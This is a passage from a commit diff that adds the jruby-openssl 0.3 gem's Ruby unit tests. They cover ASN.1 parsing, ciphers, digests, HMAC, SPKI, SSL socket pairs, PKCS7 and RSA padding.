+    assert_equal("1.2.840.113549.1.1.1", pkey.value[0].value[0].oid)
+    assert_equal(OpenSSL::ASN1::BitString, pkey.value[1].class)
+    assert_equal(0, pkey.value[1].unused_bits)
+    spkey = OpenSSL::ASN1.decode(pkey.value[1].value)
+    assert_equal(OpenSSL::ASN1::Sequence, spkey.class)
+    assert_equal(2, spkey.value.size)
+    assert_equal(OpenSSL::ASN1::Integer, spkey.value[0].class)
+    assert_equal(143085709396403084580358323862163416700436550432664688288860593156058579474547937626086626045206357324274536445865308750491138538454154232826011964045825759324933943290377903384882276841880081931690695505836279972214003660451338124170055999155993192881685495391496854691199517389593073052473319331505702779271, spkey.value[0].value)
+    assert_equal(OpenSSL::ASN1::Integer, spkey.value[1].class)
+    assert_equal(65537, spkey.value[1].value)
+
+    extensions = tbs_cert.value[7]
+    assert_equal(:CONTEXT_SPECIFIC, extensions.tag_class)
+    assert_equal(3, extensions.tag)
+    assert_equal(1, extensions.value.size)
+    assert_equal(OpenSSL::ASN1::Sequence, extensions.value[0].class)
+    assert_equal(3, extensions.value[0].value.size)
+
+    ext = extensions.value[0].value[0]  # basicConstraints
+    assert_equal(OpenSSL::ASN1::Sequence, ext.class)
+    assert_equal(3, ext.value.size)
+    assert_equal(OpenSSL::ASN1::ObjectId, ext.value[0].class)
+    assert_equal("2.5.29.19",  ext.value[0].oid)
+    assert_equal(OpenSSL::ASN1::Boolean, ext.value[1].class)
+    assert_equal(true, ext.value[1].value)
+    assert_equal(OpenSSL::ASN1::OctetString, ext.value[2].class)
+    extv = OpenSSL::ASN1.decode(ext.value[2].value)
+    assert_equal(OpenSSL::ASN1::Sequence, extv.class)
+    assert_equal(2, extv.value.size)
+    assert_equal(OpenSSL::ASN1::Boolean, extv.value[0].class)
+    assert_equal(true, extv.value[0].value)
+    assert_equal(OpenSSL::ASN1::Integer, extv.value[1].class)
+    assert_equal(1, extv.value[1].value)
+
+    ext = extensions.value[0].value[1]  # keyUsage
+    assert_equal(OpenSSL::ASN1::Sequence, ext.class)
+    assert_equal(3, ext.value.size)
+    assert_equal(OpenSSL::ASN1::ObjectId, ext.value[0].class)
+    assert_equal("2.5.29.15",  ext.value[0].oid)
+    assert_equal(OpenSSL::ASN1::Boolean, ext.value[1].class)
+    assert_equal(true, ext.value[1].value)
+    assert_equal(OpenSSL::ASN1::OctetString, ext.value[2].class)
+    extv = OpenSSL::ASN1.decode(ext.value[2].value)
+    assert_equal(OpenSSL::ASN1::BitString, extv.class)
+    str = "\000"; str[0] = 0b00000110
+    assert_equal(str, extv.value)
+
+    ext = extensions.value[0].value[2]  # subjetKeyIdentifier
+    assert_equal(OpenSSL::ASN1::Sequence, ext.class)
+    assert_equal(2, ext.value.size)
+    assert_equal(OpenSSL::ASN1::ObjectId, ext.value[0].class)
+    assert_equal("2.5.29.14",  ext.value[0].oid)
+    assert_equal(OpenSSL::ASN1::OctetString, ext.value[1].class)
+    extv = OpenSSL::ASN1.decode(ext.value[1].value)
+    assert_equal(OpenSSL::ASN1::OctetString, extv.class)
+    sha1 = OpenSSL::Digest::SHA1.new
+    sha1.update(pkey.value[1].value)
+    assert_equal(sha1.digest, extv.value)
+
+    assert_equal(OpenSSL::ASN1::Sequence, sig_alg.class)
+    assert_equal(2, sig_alg.value.size)
+    assert_equal(OpenSSL::ASN1::ObjectId, pkey.value[0].value[0].class)
+    assert_equal("1.2.840.113549.1.1.1", pkey.value[0].value[0].oid)
+    assert_equal(OpenSSL::ASN1::Null, pkey.value[0].value[1].class)
+
+    assert_equal(OpenSSL::ASN1::BitString, sig_val.class)
+
+    cululated_sig = key.sign(OpenSSL::Digest::SHA1.new, tbs_cert.to_der)
+    assert_equal(cululated_sig, sig_val.value)
+  end
+end if defined?(OpenSSL)

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_cipher.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_cipher.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_cipher.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,158 @@
+if defined?(JRUBY_VERSION)
+  require "java"
+  base = File.join(File.dirname(__FILE__), '..', '..')
+  $CLASSPATH << File.join(base, 'pkg', 'classes')
+  $CLASSPATH << File.join(base, 'lib', 'bcprov-jdk14-139.jar')
+end
+
+begin
+  require "openssl"
+rescue LoadError
+end
+require "test/unit"
+
+if defined?(OpenSSL)
+
+class OpenSSL::TestCipher < Test::Unit::TestCase
+  def setup
+    @c1 = OpenSSL::Cipher::Cipher.new("DES-EDE3-CBC")
+    @c2 = OpenSSL::Cipher::DES.new(:EDE3, "CBC")
+    @key = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
+    @iv = "\0\0\0\0\0\0\0\0"
+    @hexkey = "0000000000000000000000000000000000000000000000"
+    @hexiv = "0000000000000000"
+    @data = "DATA"
+  end
+
+  def teardown
+    @c1 = @c2 = nil
+  end
+
+  def test_crypt
+    @c1.encrypt.pkcs5_keyivgen(@key, @iv)
+    @c2.encrypt.pkcs5_keyivgen(@key, @iv)
+    s1 = @c1.update(@data) + @c1.final
+    s2 = @c2.update(@data) + @c2.final
+    assert_equal(s1, s2, "encrypt")
+
+    @c1.decrypt.pkcs5_keyivgen(@key, @iv)
+    @c2.decrypt.pkcs5_keyivgen(@key, @iv)
+    assert_equal(@data, @c1.update(s1)+ at c1.final, "decrypt")
+    assert_equal(@data, @c2.update(s2)+ at c2.final, "decrypt")
+  end
+
+  def test_info
+    assert_equal("DES-EDE3-CBC", @c1.name, "name")
+    assert_equal("DES-EDE3-CBC", @c2.name, "name")
+    assert_kind_of(Fixnum, @c1.key_len, "key_len")
+    assert_kind_of(Fixnum, @c1.iv_len, "iv_len")
+  end
+
+  def test_dup
+    assert_equal(@c1.name, @c1.dup.name, "dup")
+    assert_equal(@c1.name, @c1.clone.name, "clone")
+    @c1.encrypt
+    @c1.key = @key
+    @c1.iv = @iv
+    tmpc = @c1.dup
+    s1 = @c1.update(@data) + @c1.final
+    s2 = tmpc.update(@data) + tmpc.final
+    assert_equal(s1, s2, "encrypt dup")
+  end
+
+  def test_reset
+    @c1.encrypt
+    @c1.key = @key
+    @c1.iv = @iv
+    s1 = @c1.update(@data) + @c1.final
+    @c1.reset
+    s2 = @c1.update(@data) + @c1.final
+    assert_equal(s1, s2, "encrypt reset")
+  end
+
+  def test_empty_data
+    @c1.encrypt
+    assert_raises(ArgumentError){ @c1.update("") }
+  end
+
+  def test_disable_padding(padding=0)
+    # assume a padding size of 8
+    # encrypt the data with padding
+    @c1.encrypt
+    @c1.key = @key
+    @c1.iv = @iv
+    encrypted_data = @c1.update(@data) + @c1.final
+    assert_equal(8, encrypted_data.size)
+    # decrypt with padding disabled
+    @c1.decrypt
+    @c1.padding = padding
+    decrypted_data = @c1.update(encrypted_data) + @c1.final
+    # check that the result contains the padding
+    assert_equal(8, decrypted_data.size)
+    assert_equal(@data, decrypted_data[0... at data.size])
+  end
+
+  if PLATFORM =~ /java/
+    # JRuby extension - using Java padding types
+    
+    def test_disable_padding_javastyle
+      test_disable_padding('NoPadding')
+    end
+  
+    def test_iso10126_padding
+      @c1.encrypt
+      @c1.key = @key
+      @c1.iv = @iv
+      @c1.padding = 'ISO10126Padding'
+      encrypted_data = @c1.update(@data) + @c1.final
+      # decrypt with padding disabled to see the padding
+      @c1.decrypt
+      @c1.padding = 0
+      decrypted_data = @c1.update(encrypted_data) + @c1.final
+      assert_equal(@data, decrypted_data[0... at data.size])
+      # last byte should be the amount of padding
+      assert_equal(4, decrypted_data[-1])
+    end
+
+    def test_iso10126_padding_boundry
+      @data = 'HELODATA' # 8 bytes, same as padding size
+      @c1.encrypt
+      @c1.key = @key
+      @c1.iv = @iv
+      @c1.padding = 'ISO10126Padding'
+      encrypted_data = @c1.update(@data) + @c1.final
+      # decrypt with padding disabled to see the padding
+      @c1.decrypt
+      @c1.padding = 0
+      decrypted_data = @c1.update(encrypted_data) + @c1.final
+      assert_equal(@data, decrypted_data[0... at data.size])
+      # padding should be one whole block
+      assert_equal(8, decrypted_data[-1])
+    end
+  end
+
+  if OpenSSL::OPENSSL_VERSION_NUMBER > 0x00907000
+    def test_ciphers
+      OpenSSL::Cipher.ciphers.each{|name|
+        assert(OpenSSL::Cipher::Cipher.new(name).is_a?(OpenSSL::Cipher::Cipher))
+      }
+    end
+
+    def test_AES
+      pt = File.read(__FILE__)
+      %w(ECB CBC CFB OFB).each{|mode|
+        c1 = OpenSSL::Cipher::AES256.new(mode)
+        c1.encrypt
+        c1.pkcs5_keyivgen("passwd")
+        ct = c1.update(pt) + c1.final
+
+        c2 = OpenSSL::Cipher::AES256.new(mode)
+        c2.decrypt
+        c2.pkcs5_keyivgen("passwd")
+        assert_equal(pt, c2.update(ct) + c2.final)
+      }
+    end
+  end
+end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_digest.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_digest.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_digest.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,88 @@
+begin
+  require "openssl"
+rescue LoadError
+end
+require "digest/md5"
+require "test/unit"
+
+if defined?(OpenSSL)
+
+class OpenSSL::TestDigest < Test::Unit::TestCase
+  def setup
+    @d1 = OpenSSL::Digest::Digest::new("MD5")
+    @d2 = OpenSSL::Digest::MD5.new
+    @md = Digest::MD5.new
+    @data = "DATA"
+  end
+
+  def teardown
+    @d1 = @d2 = @md = nil
+  end
+
+  def test_digest
+    assert_equal(@md.digest, @d1.digest)
+    assert_equal(@md.hexdigest, @d1.hexdigest)
+    @d1 << @data
+    @d2 << @data
+    @md << @data
+    assert_equal(@md.digest, @d1.digest)
+    assert_equal(@md.hexdigest, @d1.hexdigest)
+    assert_equal(@d1.digest, @d2.digest)
+    assert_equal(@d1.hexdigest, @d2.hexdigest)
+    assert_equal(@md.digest, OpenSSL::Digest::MD5.digest(@data))
+    assert_equal(@md.hexdigest, OpenSSL::Digest::MD5.hexdigest(@data))
+  end
+
+  def test_eql
+    assert(@d1 == @d2, "==")
+    d = @d1.clone
+    assert(d == @d1, "clone")
+  end
+
+  def test_info
+    assert_equal("MD5", @d1.name, "name")
+    assert_equal("MD5", @d2.name, "name")
+    assert_equal(16, @d1.size, "size")
+  end
+
+  def test_dup
+    @d1.update(@data)
+    assert_equal(@d1.name, @d1.dup.name, "dup")
+    assert_equal(@d1.name, @d1.clone.name, "clone")
+    assert_equal(@d1.digest, @d1.clone.digest, "clone .digest")
+  end
+
+  def test_reset
+    @d1.update(@data)
+    dig1 = @d1.digest
+    @d1.reset
+    @d1.update(@data)
+    dig2 = @d1.digest
+    assert_equal(dig1, dig2, "reset")
+  end
+
+  if OpenSSL::OPENSSL_VERSION_NUMBER > 0x00908000
+    def encode16(str)
+      str.unpack("H*").first
+    end
+
+    def test_098_features
+      sha224_a = "abd37534c7d9a2efb9465de931cd7055ffdb8879563ae98078d6d6d5"
+      sha256_a = "ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb"
+      sha384_a = "54a59b9f22b0b80880d8427e548b7c23abd873486e1f035dce9cd697e85175033caa88e6d57bc35efae0b5afd3145f31"
+      sha512_a = "1f40fc92da241694750979ee6cf582f2d5d7d28e18335de05abc54d0560e0f5302860c652bf08d560252aa5e74210546f369fbbbce8c12cfc7957b2652fe9a75"
+
+      assert_equal(sha224_a, OpenSSL::Digest::SHA224.hexdigest("a"))
+      assert_equal(sha256_a, OpenSSL::Digest::SHA256.hexdigest("a"))
+      assert_equal(sha384_a, OpenSSL::Digest::SHA384.hexdigest("a"))
+      assert_equal(sha512_a, OpenSSL::Digest::SHA512.hexdigest("a"))
+
+      assert_equal(sha224_a, encode16(OpenSSL::Digest::SHA224.digest("a")))
+      assert_equal(sha256_a, encode16(OpenSSL::Digest::SHA256.digest("a")))
+      assert_equal(sha384_a, encode16(OpenSSL::Digest::SHA384.digest("a")))
+      assert_equal(sha512_a, encode16(OpenSSL::Digest::SHA512.digest("a")))
+    end
+  end
+end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_hmac.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_hmac.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_hmac.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,34 @@
+begin
+  require "openssl"
+rescue LoadError
+end
+require "test/unit"
+
+if defined?(OpenSSL)
+
+class OpenSSL::TestHMAC < Test::Unit::TestCase
+  def setup
+    @digest = OpenSSL::Digest::MD5.new
+    @key = "KEY"
+    @data = "DATA"
+    @h1 = OpenSSL::HMAC.new(@key, @digest)
+    @h2 = OpenSSL::HMAC.new(@key, @digest)
+  end
+
+  def teardown
+  end
+
+  def test_hmac
+    @h1.update(@data)
+    assert_equal(OpenSSL::HMAC.digest(@digest, @key, @data), @h1.digest, "digest")
+    assert_equal(OpenSSL::HMAC.hexdigest(@digest, @key, @data), @h1.hexdigest, "hexdigest")
+  end
+
+  def test_dup
+    @h1.update(@data)
+    h = @h1.dup
+    assert_equal(@h1.digest, h.digest, "dup digest")
+  end
+end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_ns_spki.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_ns_spki.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_ns_spki.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,69 @@
+begin
+  require "openssl"
+  require File.join(File.dirname(__FILE__), "utils.rb")
+rescue LoadError
+end
+require "test/unit"
+
+if defined?(OpenSSL)
+
+
+class OpenSSL::TestNSSPI < Test::Unit::TestCase
+  def setup
+    # This request data is adopt from the specification of
+    # "Netscape Extensions for User Key Generation".
+    # -- http://wp.netscape.com/eng/security/comm4-keygen.html
+    @b64  = "MIHFMHEwXDANBgkqhkiG9w0BAQEFAANLADBIAkEAnX0TILJrOMUue+PtwBRE6XfV"
+    @b64 << "WtKQbsshxk5ZhcUwcwyvcnIq9b82QhJdoACdD34rqfCAIND46fXKQUnb0mvKzQID"
+    @b64 << "AQABFhFNb3ppbGxhSXNNeUZyaWVuZDANBgkqhkiG9w0BAQQFAANBAAKv2Eex2n/S"
+    @b64 << "r/7iJNroWlSzSMtTiQTEB+ADWHGj9u1xrUrOilq/o2cuQxIfZcNZkYAkWP4DubqW"
+    @b64 << "i0//rgBvmco="
+  end
+
+  def teardown
+  end
+def pr(obj, ind=0)
+  if obj.respond_to?(:value)
+    puts((" "*ind) + obj.class.to_s + ":")
+    pr(obj.value,(ind+1))
+  elsif obj.respond_to?(:each) && !(String===obj)
+    obj.each {|v| pr(v,ind+1) }
+  else
+    puts((" "*ind) + obj.inspect)
+  end
+end
+
+  def test_build_data
+    key1 = OpenSSL::TestUtils::TEST_KEY_RSA1024
+    key2 = OpenSSL::TestUtils::TEST_KEY_RSA2048
+    spki = OpenSSL::Netscape::SPKI.new
+    spki.challenge = "RandomString"
+    spki.public_key = key1.public_key
+    spki.sign(key1, OpenSSL::Digest::SHA1.new)
+    assert(spki.verify(spki.public_key))
+    assert(spki.verify(key1.public_key))
+    assert(!spki.verify(key2.public_key))
+
+    der = spki.to_der
+    spki = OpenSSL::Netscape::SPKI.new(der)
+    assert_equal("RandomString", spki.challenge)
+    assert_equal(key1.public_key.to_der, spki.public_key.to_der)
+    assert(spki.verify(spki.public_key))
+  end
+
+  def test_decode_data
+    spki = OpenSSL::Netscape::SPKI.new(@b64)
+    assert_equal(@b64, spki.to_pem)
+    assert_equal(@b64.unpack("m").first, spki.to_der)
+    assert_equal("MozillaIsMyFriend", spki.challenge)
+    assert_equal(OpenSSL::PKey::RSA, spki.public_key.class)
+
+    spki = OpenSSL::Netscape::SPKI.new(@b64.unpack("m").first)
+    assert_equal(@b64, spki.to_pem)
+    assert_equal(@b64.unpack("m").first, spki.to_der)
+    assert_equal("MozillaIsMyFriend", spki.challenge)
+    assert_equal(OpenSSL::PKey::RSA, spki.public_key.class)
+  end
+end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_pair.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_pair.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_pair.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,149 @@
+begin
+  require "openssl"
+rescue LoadError
+end
+require 'test/unit'
+
+if defined?(OpenSSL)
+
+require 'socket'
+dir = File.expand_path(__FILE__)
+2.times {dir = File.dirname(dir)}
+$:.replace([File.join(dir, "ruby")] | $:)
+require 'ut_eof'
+
+module SSLPair
+  def server
+    host = "127.0.0.1"
+    port = 0
+    ctx = OpenSSL::SSL::SSLContext.new()
+    ctx.ciphers = "ADH"
+    tcps = TCPServer.new(host, port)
+    ssls = OpenSSL::SSL::SSLServer.new(tcps, ctx)
+    return ssls
+  end
+
+  def client(port)
+    host = "127.0.0.1"
+    ctx = OpenSSL::SSL::SSLContext.new()
+    ctx.ciphers = "ADH"
+    s = TCPSocket.new(host, port)
+    ssl = OpenSSL::SSL::SSLSocket.new(s, ctx)
+    ssl.connect
+    ssl.sync_close = true
+    ssl
+  end
+
+  def ssl_pair
+    ssls = server
+    tv = nil
+    th = Thread.new {
+      ns = ssls.accept
+      ssls.close
+      tv = ns
+    }
+    port = ssls.to_io.addr[1]
+    c = client(port)
+    th.join
+    s = tv
+    if block_given?
+      begin
+        yield c, s
+      ensure
+        c.close unless c.closed?
+        s.close unless s.closed?
+      end
+    else
+      return c, s
+    end
+  end
+end
+
+class OpenSSL::TestEOF1 < Test::Unit::TestCase
+  include TestEOF
+  include SSLPair
+
+  def open_file(content)
+    s1, s2 = ssl_pair
+    Thread.new { 
+      s2 << content; 
+      s2.close 
+    }
+    yield s1
+  end
+end
+
+class OpenSSL::TestEOF2 < Test::Unit::TestCase
+  include TestEOF
+  include SSLPair
+
+  def open_file(content)
+    s1, s2 = ssl_pair
+    Thread.new { s1 << content; s1.close }
+    yield s2
+  end
+end
+
+class OpenSSL::TestPair < Test::Unit::TestCase
+  include SSLPair
+
+  def test_getc
+    ssl_pair {|s1, s2|
+      s1 << "a"
+      assert_equal(?a, s2.getc)
+    }
+  end
+
+  def test_readpartial
+    ssl_pair {|s1, s2|
+      s2.write "a\nbcd"
+      assert_equal("a\n", s1.gets)
+      assert_equal("bcd", s1.readpartial(10))
+      s2.write "efg"
+      assert_equal("efg", s1.readpartial(10))
+      s2.close
+      assert_raise(EOFError) { s1.readpartial(10) }
+      assert_raise(EOFError) { s1.readpartial(10) }
+      assert_equal("", s1.readpartial(0))
+    }
+  end
+
+  def test_readall
+    ssl_pair {|s1, s2|
+      s2.close
+      assert_equal("", s1.read)
+    }
+  end
+
+  def test_readline
+    ssl_pair {|s1, s2|
+      s2.close
+      assert_raise(EOFError) { s1.readline }
+    }
+  end
+
+  def test_puts_meta
+    ssl_pair {|s1, s2|
+      begin
+        old = $/
+        $/ = '*'
+        s1.puts 'a'
+      ensure
+        $/ = old
+      end
+      s1.close
+      assert_equal("a\n", s2.read)
+    }
+  end
+
+  def test_puts_empty
+    ssl_pair {|s1, s2|
+      s1.puts
+      s1.close
+      assert_equal("\n", s2.read)
+    }
+  end
+
+end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_pkcs7.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_pkcs7.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_pkcs7.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,159 @@
+if defined?(JRUBY_VERSION)
+  require "java"
+  $CLASSPATH << 'pkg/classes'
+  $CLASSPATH << 'lib/bcprov-jdk14-139.jar'
+end
+begin
+  require "openssl"
+  require File.join(File.dirname(__FILE__), "utils.rb")
+rescue LoadError
+end
+require "test/unit"
+
+if defined?(OpenSSL)
+
+class OpenSSL::TestPKCS7 < Test::Unit::TestCase
+  def setup
+    @rsa1024 = OpenSSL::TestUtils::TEST_KEY_RSA1024
+    @rsa2048 = OpenSSL::TestUtils::TEST_KEY_RSA2048
+    ca = OpenSSL::X509::Name.parse("/DC=org/DC=ruby-lang/CN=CA")
+    ee1 = OpenSSL::X509::Name.parse("/DC=org/DC=ruby-lang/CN=EE1")
+    ee2 = OpenSSL::X509::Name.parse("/DC=org/DC=ruby-lang/CN=EE2")
+
+    now = Time.now
+    ca_exts = [
+      ["basicConstraints","CA:TRUE",true],
+      ["keyUsage","keyCertSign, cRLSign",true],
+      ["subjectKeyIdentifier","hash",false],
+      ["authorityKeyIdentifier","keyid:always",false],
+    ]
+    @ca_cert = issue_cert(ca, @rsa2048, 1, Time.now, Time.now+3600, ca_exts,
+                           nil, nil, OpenSSL::Digest::SHA1.new)
+    ee_exts = [
+      ["keyUsage","Non Repudiation, Digital Signature, Key Encipherment",true],
+      ["authorityKeyIdentifier","keyid:always",false],
+      ["extendedKeyUsage","clientAuth, emailProtection, codeSigning",false],
+    ]
+    @ee1_cert = issue_cert(ee1, @rsa1024, 2, Time.now, Time.now+1800, ee_exts,
+                           @ca_cert, @rsa2048, OpenSSL::Digest::SHA1.new)
+    @ee2_cert = issue_cert(ee2, @rsa1024, 3, Time.now, Time.now+1800, ee_exts,
+                           @ca_cert, @rsa2048, OpenSSL::Digest::SHA1.new)
+  end
+
+  def issue_cert(*args)             
+    OpenSSL::TestUtils.issue_cert(*args)
+  end
+
+  def test_signed
+    store = OpenSSL::X509::Store.new
+    store.add_cert(@ca_cert)
+    ca_certs = [@ca_cert]
+
+    data = "aaaaa\r\nbbbbb\r\nccccc\r\n"
+    tmp = OpenSSL::PKCS7.sign(@ee1_cert, @rsa1024, data, ca_certs)
+    p7 = OpenSSL::PKCS7::PKCS7.new(tmp.to_der)
+    certs = p7.certificates
+    signers = p7.signers
+    assert(p7.verify([], store))
+    assert_equal(data, p7.data)
+    assert_equal(2, certs.size)
+    assert_equal(@ee1_cert.subject.to_s, certs[0].subject.to_s)
+    assert_equal(@ca_cert.subject.to_s, certs[1].subject.to_s)
+    assert_equal(1, signers.size)
+    assert_equal(@ee1_cert.serial, signers[0].serial)
+    assert_equal(@ee1_cert.issuer.to_s, signers[0].issuer.to_s)
+
+    # Normaly OpenSSL tries to translate the supplied content into canonical
+    # MIME format (e.g. a newline character is converted into CR+LF).
+    # If the content is a binary, PKCS7::BINARY flag should be used.
+
+    data = "aaaaa\nbbbbb\nccccc\n"
+    flag = OpenSSL::PKCS7::BINARY
+    tmp = OpenSSL::PKCS7.sign(@ee1_cert, @rsa1024, data, ca_certs, flag)
+    p7 = OpenSSL::PKCS7::PKCS7.new(tmp.to_der)
+    certs = p7.certificates
+    signers = p7.signers
+    assert(p7.verify([], store))
+    assert_equal(data, p7.data)
+    assert_equal(2, certs.size)
+    assert_equal(@ee1_cert.subject.to_s, certs[0].subject.to_s)
+    assert_equal(@ca_cert.subject.to_s, certs[1].subject.to_s)
+    assert_equal(1, signers.size)
+    assert_equal(@ee1_cert.serial, signers[0].serial)
+    assert_equal(@ee1_cert.issuer.to_s, signers[0].issuer.to_s)
+
+    # A signed-data which have multiple signatures can be created 
+    # through the following steps.
+    #   1. create two signed-data
+    #   2. copy signerInfo and certificate from one to another
+
+    tmp1 = OpenSSL::PKCS7.sign(@ee1_cert, @rsa1024, data, [], flag)
+    tmp2 = OpenSSL::PKCS7.sign(@ee2_cert, @rsa1024, data, [], flag)
+    tmp1.add_signer(tmp2.signers[0])
+    tmp1.add_certificate(@ee2_cert)  
+
+    p7 = OpenSSL::PKCS7::PKCS7.new(tmp1.to_der)
+    certs = p7.certificates
+    signers = p7.signers
+    assert(p7.verify([], store))
+    assert_equal(data, p7.data)
+    assert_equal(2, certs.size)
+    assert_equal(2, signers.size)
+    assert_equal(@ee1_cert.serial, signers[0].serial)
+    assert_equal(@ee1_cert.issuer.to_s, signers[0].issuer.to_s)
+    assert_equal(@ee2_cert.serial, signers[1].serial)
+    assert_equal(@ee2_cert.issuer.to_s, signers[1].issuer.to_s)
+  end
+
+  def test_detached_sign
+    store = OpenSSL::X509::Store.new
+    store.add_cert(@ca_cert)
+    ca_certs = [@ca_cert]
+
+    data = "aaaaa\nbbbbb\nccccc\n"
+    flag = OpenSSL::PKCS7::BINARY|OpenSSL::PKCS7::DETACHED
+    tmp = OpenSSL::PKCS7.sign(@ee1_cert, @rsa1024, data, ca_certs, flag)
+    p7 = OpenSSL::PKCS7::PKCS7.new(tmp.to_der)
+    a1 = OpenSSL::ASN1.decode(p7)
+
+    certs = p7.certificates
+    signers = p7.signers
+    assert(!p7.verify([], store))
+    assert(p7.verify([], store, data))
+    assert_equal(data, p7.data)
+    assert_equal(2, certs.size)
+    assert_equal(@ee1_cert.subject.to_s, certs[0].subject.to_s)
+    assert_equal(@ca_cert.subject.to_s, certs[1].subject.to_s)
+    assert_equal(1, signers.size)
+    assert_equal(@ee1_cert.serial, signers[0].serial)
+    assert_equal(@ee1_cert.issuer.to_s, signers[0].issuer.to_s)
+  end
+
+  def test_enveloped
+    if OpenSSL::OPENSSL_VERSION_NUMBER <= 0x0090704f
+      # PKCS7_encrypt() of OpenSSL-0.9.7d goes to SEGV.
+      # http://www.mail-archive.com/[email protected]/msg17376.html
+      return
+    end
+
+    certs = [@ee1_cert, @ee2_cert]
+    cipher = OpenSSL::Cipher::AES.new("128-CBC")
+    data = "aaaaa\nbbbbb\nccccc\n"
+
+    tmp = OpenSSL::PKCS7.encrypt(certs, data, cipher, OpenSSL::PKCS7::BINARY)
+    p7 = OpenSSL::PKCS7::PKCS7.new(tmp.to_der)
+    recip = p7.recipients
+    assert_equal(:enveloped, p7.type)
+    assert_equal(2, recip.size)
+
+    assert_equal(@ca_cert.subject.to_s, recip[0].issuer.to_s)
+    assert_equal(2, recip[0].serial)
+    assert_equal(data, p7.decrypt(@rsa1024, @ee1_cert))
+
+    assert_equal(@ca_cert.subject.to_s, recip[1].issuer.to_s)
+    assert_equal(3, recip[1].serial)
+    assert_equal(data, p7.decrypt(@rsa1024, @ee2_cert))
+  end
+end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_pkey_rsa.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_pkey_rsa.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_pkey_rsa.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,49 @@
+begin
+  require "openssl"
+  require File.join(File.dirname(__FILE__), "utils.rb")
+rescue LoadError
+end
+require 'test/unit'
+
+if defined?(OpenSSL)
+
+class OpenSSL::TestPKeyRSA < Test::Unit::TestCase
+  def test_padding
+    key = OpenSSL::PKey::RSA.new(512, 3)
+
+    # Need right size for raw mode
+    plain0 = "x" * (512/8)
+    cipher = key.private_encrypt(plain0, OpenSSL::PKey::RSA::NO_PADDING)
+    plain1 = key.public_decrypt(cipher, OpenSSL::PKey::RSA::NO_PADDING)
+    assert_equal(plain0, plain1)
+
+    # Need smaller size for pkcs1 mode
+    plain0 = "x" * (512/8 - 11)
+    cipher1 = key.private_encrypt(plain0, OpenSSL::PKey::RSA::PKCS1_PADDING)
+    plain1 = key.public_decrypt(cipher1, OpenSSL::PKey::RSA::PKCS1_PADDING)
+    assert_equal(plain0, plain1)
+
+    cipherdef = key.private_encrypt(plain0) # PKCS1_PADDING is default
+    plain1 = key.public_decrypt(cipherdef)
+    assert_equal(plain0, plain1)
+    assert_equal(cipher1, cipherdef)
+
+    # Failure cases
+    assert_raise(ArgumentError){ key.private_encrypt() }
+    assert_raise(ArgumentError){ key.private_encrypt("hi", 1, nil) }
+    assert_raise(OpenSSL::PKey::RSAError){ key.private_encrypt(plain0, 666) }
+  end
+
+  def test_private
+    key = OpenSSL::PKey::RSA.new(512, 3)
+    assert(key.private?)
+    key2 = OpenSSL::PKey::RSA.new(key.to_der)
+    assert(key2.private?)
+    key3 = key.public_key
+    assert(!key3.private?)
+    key4 = OpenSSL::PKey::RSA.new(key3.to_der)
+    assert(!key4.private?)
+  end
+end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_ssl.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_ssl.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_ssl.rb	2008-12-20 21:22:52 UTC (rev 1004)
